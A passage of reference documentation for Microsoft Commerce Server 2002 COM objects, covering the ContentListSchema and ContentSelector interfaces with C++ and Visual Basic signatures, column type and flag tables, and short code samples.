This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Fields object exposes the same interface as the ADO Fields object.

This property is functionally identical to the one of the same name to be found in the ContentList object.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


IContentListFactory::get_Schema, put_Schema Property [C++]

ContentListFactory.Schema Property [Visual Basic]

The Schema property is a ContentListSchema object that contains the schema used by this ContentListFactory object. The Schema property is read/write.

Definition

[C++]

Get method:

HRESULT IContentListFactory::get_Schema(
 IContentListSchema** Schema
);

Put method:

HRESULT IContentListFactory::put_Schema(
 IContentListSchema* Schema
);
[Visual Basic]
Property Schema() As ContentListSchema

Parameters

Schema [C++]
[in] When putting the property, a pointer to the IContentListSchema interface of the ContentListSchema object that contains the new schema for this ContentListFactory object.
[out,retval] When getting the property, a pointer to an address used to return the IContentListSchema interface of the ContentListSchema object that contains the schema for this ContentListFactory object.

[Visual Basic] None.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is intended to only be set once. However, until any ContentList object is created using the CreateNewContentList method, or until rows are allocated in the ContentListFactory object by setting the Count property, it can be changed.

If this property is read before it is written, an empty ContentListSchema object will be created and returned.

See Also

[C++] ContentListFactory Object

[Visual Basic] ContentListFactory Object


ContentListSchema Object [C++]

ContentListSchema Object [Visual Basic]

Use this object to manipulate the schema for a ContentListFactory object.

ProgID: | Commerce.ContentListSchema (Externally creatable)
COM Class Name: | ContentListSchema
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentListSchema
Interface ID Constant: | IID_IContentListSchema
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IContentListSchema interface to access to the methods and properties of a ContentListSchema object.

Methods

[C++]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the IContentList interface.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.

Properties

[C++]
Property | Type | Description
ColumnFlags | long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | BSTR | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | long | Stores the number of columns defined by the schema. This property is read-only.
Locked | VARIANT_BOOL | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.
[Visual Basic]
Property | Type | Description
ColumnFlags | Long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Long | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.
[C++]

Remarks

The methods GetSchema and SetSchema are only accessible from C++. Respectively, they get and set the entire schema associated with a ContentListSchema object. They pass the schema as an array of CLCOL_DESCRIPTOR structures, where each element in the array represents a corresponding column in the schema, in the same order that they appear in the array.

The definition of a CLCOL_DESCRIPTOR structure is as follows:

typedef struct
{
  ColumnTypeEnum  coltyp;    // column type
  ULONG           lFlags;    // column flags, represented as a bit field
  ULONG           cchName;   // length of column name
  WCHAR*          pwszName;  // column name
} CLCOL_DESCRIPTOR;

The members of the CLCOL_DESCRIPTOR structure are described in the following table.

Structure Member | Description
coltyp | Contains a value indicating the data type associated with the column. This value should be from the set of values present in the ColumnTypeEnum enumeration. For more information about this enumeration, see the Remarks section of IContentListSchema::get_ColumnType, put_ColumnType
lFlags | Contains a value indicating the column flags associated with the column, represented as a bit field.
cchName | Contains a value indicating the length of the column name string, in characters.
pwszName | Contains a pointer to a NULL-terminated string containing the name of the column.


IContentListSchema Methods

ContentListSchema Methods

Methods

[C++]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the IContentList interface.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.
[Visual Basic]
Method | Description
Add | Adds a new column to the schema.
FindColumn | Returns the position of a named column. Column positions are counted starting from zero (0), not one (1). This position index may be used as the Column index parameter for the GetData, SetData, Filter, and Search methods of the ContentList object.
GetSchema | Returns the entire schema in a high-performance, non-scriptable manner.
SetSchema | Sets the entire schema in a high-performance, non-scriptable manner.


IContentListSchema::Add Method [C++]

ContentListSchema.Add Method [Visual Basic]

Use this method to add a new column to a schema for use by a ContentListFactory object and its associated ContentList objects.

Definition

[C++]
HRESULT IContentListSchema::Add(
 BSTR sName,
 ColumnTypeEnum Type,
 long Flags,
 long* ColumnNum
);
[Visual Basic]
Function Add(
 sName As String,
 Type As ColumnTypeEnum,
 Flags As Long
) As Long

Parameters

sName [C++]
[in] A BSTR that contains a name for the new column.
sName [Visual Basic]
A String that contains a name for the new column.
Type [C++]
[in] A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Type [Visual Basic]
A value from the ColumnTypeEnum enumeration. See the Remarks section for more details.
Flags [C++]
[in] A long that contains the bit mask column flag settings for the new column.
Flags [Visual Basic]
A Long that contains the bit mask column flag settings for the new column.
ColumnNum [C++]
[out,retval] A pointer to a long used to return the position of the new column. Column positions are numbered starting with zero (0), not one (1).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the position of the new column. Column positions are numbered starting with zero (0), not one (1).

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Once the Locked property has been set to True, subsequent calls to this method will fail. The ContentListFactory object will set the Locked property of its ContentListSchema object to True when one of the following conditions is met:

  • Rows of data are allocated in the factory by setting the Count property or calling the ConstructFromRecordset method.
  • The ContentListFactory object has been used to construct one or more ContentList objects using the CreateNewContentList method.

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean value. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

Note

  • With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. They may be used as a VARTYPE.
[Visual Basic]

Example

'"Color" is the column name.
'CLCOL_STRING indicates the column is of type String.
'0 indicates that no flags are applied.

dim iColumnNum as Long
iColumnNum = myContentListSchema.Add("Color", CLCOL_STRING, 0)

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::FindColumn Method [C++]

ContentListSchema.FindColumn Method [Visual Basic]

Use this method to find the position of a column specified by name.

Definition

[C++]
HRESULT IContentListSchema::FindColumn(
 BSTR sName,
 long* ColumnNum
);
[Visual Basic]
Function FindColumn(
 sName As String
) As Long

Parameters

sName [C++]
[in] A BSTR that contains the name of the column for which the position will be returned.
sName [Visual Basic]
A String that contains the name of the column for which the position will be returned.
ColumnNum [C++]
[out,retval] A pointer to a long used to return the position of the specified column.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the position of the new column.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Column positions are counted from zero (0), not one (1).

[Visual Basic]

Example

'"Color" is the column name.
Dim iColumnNum as Long

iColumnNum = myContentListSchema.FindColumn("Color")

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::GetSchema Method [C++]

ContentListSchema.GetSchema Method [Visual Basic]

[C++] Use this method to read the entire schema from a ContentListSchema object.

[C++] This is one of the two ContentListSchema methods that, in the interest of high performance, do not support a scriptable interface. The other method is SetSchema. They are only intended for use in C++.

[Visual Basic] In the interest of high performance, this method is not intended for use from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

[C++]

Definition

HRESULT IContentListSchema::GetSchema(
 long* pnCols,
 CLCOL_DESCRIPTOR** prgColDesc
);

Parameters

pnCols
[out] A pointer to a long used to return the number of columns in the schema being returned. This value will be important in processing the array of column descriptors returned in the prgColDesc parameter.
prgColDesc
[out,size_is(,*pnCols)] The address of a pointer used to return the address of an array of CLCOL_DESCRIPTOR structures. These structures represent the entire schema, where each element in the array contains information regarding the column in that same position in the schema. For more information about the column descriptor structure, see ContentListSchema Object.

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

Remarks

Care must be taken in how the memory returned by calls to the GetSchema method gets released. The following code sample illustrates the proper technique:

// Declare variables for the GetSchema call.
long              cCols
CLCOL_DESCRIPTOR *pColDesc;

// Get the schema.
pContentListSchema->GetSchema(&cCols, &pColDesc);

// Use the returned schema as needed.

// When finished with the schema array,
// start by freeing the column name string memory.
for ( int i=0 ; I < cCols ; i++ ) {
    if ( NULL != pColDesc[i].pwszName ) {
        ::CoTaskMemFree(pColDesc[i].pwszName);
    }
}

// Then free the structure array memory.
::CoTaskMemFree(pColDesc);

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::SetSchema Method [C++]

ContentListSchema.SetSchema Method [Visual Basic]

[C++] Use this method to write an entire schema to a ContentListSchema object.

[C++] This is one of the two ContentListSchema methods that, in the interest of high performance, do not support a scriptable interface. The other method is GetSchema. They are only intended for use in C++.

[Visual Basic] In the interest of high performance, this method is not intended for use from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

[C++]

Definition

HRESULT IContentListSchema::SetSchema(
 long nCols,
 CLCOL_DESCRIPTOR* rgColDesc
);

Parameters

nCols
[in] A long that specifies the number of columns in the column descriptor array passed in the rgColDesc parameter.
rgColDesc
[in,size_is(nCols)] A pointer to an array of CLCOL_DESCRIPTOR structures. These structures represent the entire schema, where each element in the array contains information regarding the column in that same position in the schema. For more information about the column descriptor structure, see ContentListSchema Object.

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema Properties

ContentListSchema Properties

Properties

[C++]
Property | Type | Description
ColumnFlags | long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | BSTR | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | long | Stores the number of columns defined by the schema. This property is read-only.
Locked | VARIANT_BOOL | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.
[Visual Basic]
Property | Type | Description
ColumnFlags | Long | Stores the column flags, represented as a bit field. This property is read/write.
ColumnName | String | Stores the column name. This property is read/write.
ColumnType | ColumnTypeEnum | Stores the data type of the column. This property is read/write.
Count | Long | Stores the number of columns defined by the schema. This property is read-only.
Locked | Boolean | Indicates whether this schema can be modified. This property is read/write. It is initially set to False. Once set to True, it can never be set back to False.


IContentListSchema::get_ColumnFlags, put_ColumnFlags Property [C++]

ContentListSchema.ColumnFlags Property [Visual Basic]

The ColumnFlags property is a read/write long that contains the column flags.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_ColumnFlags(
 VARIANT vColumn,
 long* ColumnFlags
);

Put method:

HRESULT IContentListSchema::put_ColumnFlags(
 VARIANT vColumn,
 long ColumnFlags
);
[Visual Basic]
Property ColumnFlags(
 vColumn As Variant
) As Long

Parameters

vColumn [C++]
[in] A VARIANT that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
vColumn [Visual Basic]
A Variant that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnFlags [C++]
[in] When setting the property, a long that contains the new column flag settings, represented as a bit field.
[out,retval] When getting the property, a pointer to a long used to return the current column flag settings, represented as a bit field.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Column flags are represented as a bit field. The following table shows the meanings of the bits that are used and the constants provided for manipulating those bits.

Bit | Constant | Description
1 | CLCOL_READONLY (= 0x01) | When the bit is set, data in the column is read-only, and cannot be updated. This will be common for data stored in the ContentListFactory object since that data is shared between multiple page requests. When the bit is cleared, data in the column is read/write, and can be freely updated. No record locking is performed, so update contention could occur when updating data in the ContentListFactory object. This is not a concern for columns that are marked Private since they exist in the individual instances of ContentList objects, and ContentList objects are typically created for and used by a single thread.
2 | CLCOL_PRIVATE (= 0x02) | When the bit is set, the data in the column is private to each ContentList object based on this schema. This means that the data is stored separately in each ContentList object that is created, and not stored in the shared columns in the corresponding ContentListFactory object.
4 | CLCOL_SCORE_COLUMN (= 0x04) | When the bit is set it indicates that the data in this column is the score value associated with the content item. The type of this column must be a single-precision floating-point type (CLCOL_R4); only one column in the schema can have this flag set. Further, since a unique score value must be associated with each individual page request, this bit can only be set in conjunction with the CLCOL_PRIVATE bit. In other words, it must be a column stored in the ContentList object, as opposed to the ContentListFactory object, that is marked as the score column.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_ColumnName, put_ColumnName Property [C++]

ContentListSchema.ColumnName Property [Visual Basic]

The ColumnName property is a read/write string that contains the name of the column.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_ColumnName(
 VARIANT vColumn,
 BSTR* ColumnName
);

Put method:

HRESULT IContentListSchema::put_ColumnName(
 VARIANT vColumn,
 BSTR ColumnName
);
[Visual Basic]
Property ColumnName(
 vColumn As Variant
) As String

Parameters

vColumn [C++]
[in] A VARIANT that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
vColumn [Visual Basic]
A Variant that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnName [C++]
[in] When putting the property, a BSTR that contains the new column name.
[out,retval] When getting the property, a pointer to a BSTR used to return the current column name.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Though using a column name as the value of the vColumn parameter in order to retrieve that same column name may be fruitless, passing a column name does make sense when changing the column name.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_ColumnType, put_ColumnType Property [C++]

ContentListSchema.ColumnType Property [Visual Basic]

The ColumnType property is a read/write value from the ColumnTypeEnum enumeration, specifying the data type of the specified column.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_ColumnType(
 VARIANT vColumn,
 ColumnTypeEnum* ColumnType
);

Put method:

HRESULT IContentListSchema::put_ColumnType(
 VARIANT vColumn,
 ColumnTypeEnum ColumnType
);
[Visual Basic]
Property ColumnType(
 vColumn As Variant
) As ColumnTypeEnum

Parameters

vColumn [C++]
[in] A VARIANT that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
vColumn [Visual Basic]
A Variant that contains either the column name or the column position in order to identify the column in question. Column positions are counted from zero (0), not one (1).
ColumnType [C++]
[in] When putting the property, a value from the ColumnTypeEnum enumeration. See the Remarks section for more details.

[out,retval] When getting the property, a pointer used to return a value from the ColumnTypeEnum enumeration. See the Remarks section for more details.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table shows the values of the ColumnTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CLCOL_I2 | 2 | A 16-bit integer. This value corresponds to the VARTYPE value VT_I2.
CLCOL_I4 | 3 | A 32-bit integer. This value corresponds to the VARTYPE value VT_I4.
CLCOL_R4 | 4 | A single precision floating point number. This value corresponds to the VARTYPE value VT_R4.
CLCOL_R8 | 5 | A double precision floating point number. This value corresponds to the VARTYPE value VT_R8.
CLCOL_CY | 6 | A 64-bit integer used to store a currency value. This value corresponds to the VARTYPE value VT_CY. Monetary values stored using this type are scaled by 10,000 (4 decimal places). For example, the value 86900 would correspond to a currency value of $8.69 in the US. This is also the same as the money datatype used by SQL7.
CLCOL_DATE | 7 | A double precision floating point number used to store a date/time value. This value corresponds to the VARTYPE value VT_DATE.
CLCOL_DISPATCH | 9 | A reference to an object that supports scripting/automation (inherits from IDispatch). This value corresponds to the VARTYPE value VT_DISPATCH.
CLCOL_BOOL | 11 | A boolean. This value corresponds to the VARTYPE value VT_BOOL. Do not confuse this with the C++ type BOOL, which is 4 bytes.
CLCOL_UNKNOWN | 13 | A pointer to an IUnknown-based interface that, presumably, does not support scripting/automation (inherits from IUnknown). This value corresponds to the VARTYPE value VT_UNKNOWN.
CLCOL_STRING | 14 | A pointer to a string in the private heap maintained by every ContentListFactory object. There is no corresponding VARTYPE value.
CLCOL_VARIANTARRAY | 15 | A pointer to a SAFEARRAY. The corresponding variant type is VT_ARRAY or VT_VARIANT.

With the exception of CLCOL_STRING and CLCOL_VARIANTARRAY, these types are identical to the corresponding VARTYPE and share the same constant value. Indeed, they may be used as a VARTYPE.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_Count Property [C++]

ContentListSchema.Count Property [Visual Basic]

The Count property is a read-only value that contains the current number of columns in the schema.

Definition

[C++]
Get method:
HRESULT IContentListSchema::get_Count(
 long* Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[out,retval] A pointer to a long used to return the current number of columns in the schema.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


IContentListSchema::get_Locked, put_Locked Property [C++]

ContentListSchema.Locked Property [Visual Basic]

The Locked property is a read/write Boolean that indicates whether the ContentListSchema object can be modified. A value of True indicates that the schema is locked and cannot be modified. A value of False indicates that the schema is not locked and can be modified. Once the object is in use it can no longer be modified.

Definition

[C++]

Get method:

HRESULT IContentListSchema::get_Locked(
 VARIANT_BOOL* Locked
);

Put method:

HRESULT IContentListSchema::put_Locked(
 VARIANT_BOOL Locked
);
[Visual Basic]
Property Locked() As Boolean

Parameters

Locked [C++]
[in] When setting the property, a VARIANT_BOOL that specifies a new lock setting. Since schemas, once locked, cannot be unlocked, only the first call to this method with the Locked parameter set to True will have any effect.
[out,retval] When getting the property, a pointer to a VARIANT_BOOL used to return the state of the schema lock. A value of True indicates that the schema has been locked. A value of False indicates that the schema not yet been locked.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A ContentListSchema object becomes permanently locked as soon as this property is set to True. Once locked, the contained schema cannot be modified or unlocked. ContentListFactory objects will lock the schema as soon as any rows are allocated or any ContentList objects are created, whichever occurs first.

See Also

[C++] ContentListSchema Object

[Visual Basic] ContentListSchema Object


ContentSelector Object [C++]

ContentSelector Object [Visual Basic]

Use this object to select one or more items of content for display on a Web page. The content may come from customer campaigns (ads, discounts), or from custom applications built on the Content Selection Framework (CSF).

If you want to select custom content for display on your Web pages, you can use the CSF by instantiating and using ContentSelector objects. ContentSelector objects invoke different CSF pipelines to select different types of content based on the dictionary passed to the GetContent method.

ProgID: | Commerce.ContentSelector (Externally creatable)
COM Class Name: | CContentSelector
Type Library Name: | Microsoft Commerce 2002 CSF Pipeline Component 1.0 Type Library
DLL Name: | CSFComp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentSelector
Interface ID Constant: | IID_IContentSelector
Header File: | csf.h, mspu_guids.h
[C++]

In C++, use the IContentSelector interface to access the properties of the ContentSelector object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

The ContentSelector object implements all of the methods and properties of the Dictionary object, only the method not inherited from the Dictionary object is shown in the following table.

Methods

[C++]
Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.
[Visual Basic]
Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.

Remarks

The Context dictionary maintains a reference to a ContentSelector object in its ContextProfile entry. This ContentSelector object is used to pass arbitrary properties to the pipeline components. Arbitrary properties can be associated with the ContentSelector object because it inherits from the Dictionary object.

See Also

Targeting Objects


IContentSelector Methods [C++]

ContentSelector Methods [Visual Basic]

Methods

[C++]
Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.
[Visual Basic]
Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.


IContentSelector::GetContent Method [C++]

ContentSelector.GetContent Method [Visual Basic]

Use this method to execute a Content Selection pipeline and return the resulting content in a SimpleList object.

Definition

[C++]
HRESULT IContentSelector::get_GetContent(
IDictionary* pdictCSFContext,
ISimpleList** ppLstContent
);
[Visual Basic]
Function GetContent(
 dictCSFContext As IDictionary,
) As ISimpleList

Parameters

pdictCSFContext [C++]
[in] A pointer to a global context dictionary with a configuration for an instance of a CSF application. The dictionary contains global objects and configurations used by the ContentSelector object. At a minimum, the dictionary must contain the Pipeline key so that the ContentSelector object knows which pipeline to execute.
dictCSFContext [Visual Basic]
A global context dictionary with a configuration for an instance of a CSF application. The dictionary contains global objects and configurations used by the ContentSelector object. At a minimum, the dictionary must contain the Pipeline key so that the ContentSelector object knows which pipeline to execute.
ppLstContent [C++]
[out, retval] A pointer to a SimpleList object containing the selected content. The elements of the SimpleList object are HTML or XML strings.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a SimpleList object that contains the selected content. The elements of the SimpleList object are HTML or XML strings.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

This method can also return an error returned by the invoked pipeline.

Remarks

The ContentSelector object reads the Pipeline key of the passed in dictionary object to find the pipeline object to invoke. It copies the values of the dictionary passed to it into a new dictionary. The new dictionary is passed to the pipeline as the pipe Context dictionary. An empty dictionary is created and passed as the Order dictionary for the pipeline. The ContentSelector object adds a reference to itself under the ContextProfile key in the pipe Context dictionary.

When pipeline execution has completed, the ContentSelector object looks for the key _formatted in the Order dictionary, and returns the list assigned to that key as the return value. If the list assigned to the _formatted key does not exist, an empty list is created and returned. The self-reference in the pipe Context dictionary is removed to prevent a circular reference. References to the Order and Context dictionaries are added to the ContentSelector object before it returns, giving the page access to the values written into those dictionaries by the pipeline.

[Visual Basic]

Example

For example code, see the sample in Code to Support the ContentSelector Object.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object

Content Selection Pipelines

[C++] ContentSelector Object

[Visual Basic] ContentSelector Object


ExpressionEval Object [C++]

ExpressionEval Object [Visual Basic]

Use this object to evaluate one or more expressions against a specified context. In addition, use this object to parse and evaluate user-defined expressions written as Extensible Markup Language (XML) fragments.

ProgID: | Commerce.ExpressionEvaluator (Externally creatable)
COM Class Name: | ExpressionEval
Type Library Name: | Microsoft Commerce 2002 Expression System Type Library
DLL Name: | exprarch.dll
Threading Model: | Both
[C++]
COM Interface Name: | IExpressionEval
Interface ID Constant: | IID_IExpressionEval
